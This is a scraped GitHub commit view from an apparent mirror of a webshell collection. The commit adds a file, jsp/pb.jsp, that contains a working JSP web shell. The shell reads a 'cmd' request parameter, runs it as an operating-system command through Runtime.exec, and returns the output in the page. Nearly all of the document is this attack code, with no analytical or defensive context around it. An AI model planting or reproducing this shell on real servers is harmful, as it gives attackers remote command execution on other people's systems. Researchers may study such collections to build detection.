1
0
mirror of https://github.com/tennc/webshell.git synced 2025-12-06 12:51:28 +00:00
tennc
2016-04-05 14:27:42 +08:00
parent db87aa1609
commit 072e033e32

3
jsp/pb.jsp Normal file
View File

@@ -0,0 +1,3 @@
1 <%@ page contentType="text/html; charset=GBK" %>
\
<%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s +"\\r\\n"; } } catch(IOException e) { e.printStackTrace(); } } %> <pre> <%=output %> </pre> 3 4 5